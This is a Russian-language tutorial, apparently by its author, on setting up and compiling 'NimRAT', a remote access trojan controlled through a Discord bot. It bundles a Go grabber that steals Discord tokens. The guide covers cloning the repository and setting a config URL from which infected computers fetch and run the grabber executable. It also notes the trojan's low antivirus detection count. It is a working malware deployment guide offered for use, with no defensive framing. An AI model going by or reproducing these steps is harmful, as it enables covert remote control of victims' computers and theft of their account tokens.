В данной статье я расскажу, как настроить и пользоваться моим ратником с открытым исходным кодом - NimRAT. Для написания использованы языки программирования Nim (для основной программы) и Go (для получения дискорд токенов). Связь с зараженными компами происходит через дискорд бота. На вирустотале у основной программы всего 3 детекта: Вирустотал Функционал (периодически дополняется) Установка Git Переходим по ссылке - https://git-scm.com/downloads/win Скачиваем установщик: Запускаем установщик и просто нажимаем далее. Go Переходим по ссылке - https://go.dev/doc/install Скачиваем установщик: Запускаем установщик и просто нажимаем далее. Nim, MinGW Есть два способа - автоматический и вручную. Чтобы все точно работало, я покажу ручной способ. Если вас устраивает автоматическая установка - используйте choosenim. Скачайте установщик, запустите его и перезагрузите компьютер. Теперь к ручной установке. Создаем папку, где будут храниться Nim и MinGW. Для примера будем использовать C:\Nim\MinGW. Открываем https://nim-lang.org/install_windows.html и внизу страницы скачиваем MinGW: Распаковываем скачанный архив в C:\Nim\MinGW: Добавляем папку C:\Nim\MinGW\bin в path: Скачиваем nim на той же странице: Распаковываем архив в C:\Nim: Запускаем finish.exe и перезагружаем компьютер. Также нам понадобится дискорд бот Создаем дискорд бота Открываем https://discord.com/developers/applications Нажимаем "New Application" и даем любое имя: На панели слева выбираем Bot: Перевыпускаем токен и куда-нибудь его сохраняем (он нам пригодится позже): Листаем чуть ниже, нажимаем на отмеченные кнопки и сохраняем изменения: Чтобы получить ссылку для добавления бота на сервер, на панели слева выбираем OAuth2: Листаем ниже до OAuth2 URL Generator и отмечаем bot: Ниже отмечаем Administrator и получаем нашу ссылку для добавления: Открываем ссылку и добавляем бота на любой сервер. Заходим в настройки дискорда и включаем Developer Mode: Далее создаем текстовый канал на сервере, куда добавили бота. В этот канал будут присылаться уведомления о новых пользователях. После копируем его ID и куда-нибудь сохраняем: Теперь, когда все готово, можно приступать к самому ратнику. NimRAT Открываем cmd и переходим в папку, где будет храниться ратник. Для примера будем использовать C:\. cd C:\ Клонируем репозиторий и переходим в него: git clone https://github.com/WipingAllOut/NimRAT cd NimRAT Небольшая ремарка - по умолчанию NimRAT использует заранее скомпилированный мной граббер дискорд токенов. Если хотите использовать свой, разверните спойлер ниже. Свой граббер токенов Переходим в папку с граббером токенов: cd GoTokenGrabber Собираем граббер: go build Полученный tokens.exe куда-нибудь загружаем (я использовал собственный гитхаб репозиторий) и сохраняем ссылку на файл. Она понадобится нам позже. Выходим из папки с граббером: cd .. Открываем проводник в этой папке: explorer . Открываем папку modules, в ней находим файл config.nim и открываем в любом текстовом редакторе. Видим следующие строки: let newUsersChannelId* = "" let tokenDecryptorUrl* = "https://github.com/WipingAllOut/NimRAT/raw/refs/heads/main/GoTokenGrabber/tokens.exe" let discordToken* = "" Код let newUsersChannelId* = "" let tokenDecryptorUrl* = "https://github.com/WipingAllOut/NimRAT/raw/refs/heads/main/GoTokenGrabber/tokens.exe" let discordToken* = "" newUsersChannelId - айди дискорд канала, в который будут отсылаться уведомления о новых пользователях. tokenDecryptorUrl - ссылка на .exe граббера токенов. discordToken - токен вашего дискорд бота. Вписываем в кавычки нужные значения. Если не компилировали граббер токенов - оставляем tokenDecryptorUrl как есть. Возвращаемся на папку назад, запускаем compile.bat и выбираем 3 опцию: Ждем компиляции. Готовый файл будет в той же папке с названием program.exe. Пример использования: Большое спасибо за внимание! Надеюсь, эта статья была кому-то полезна.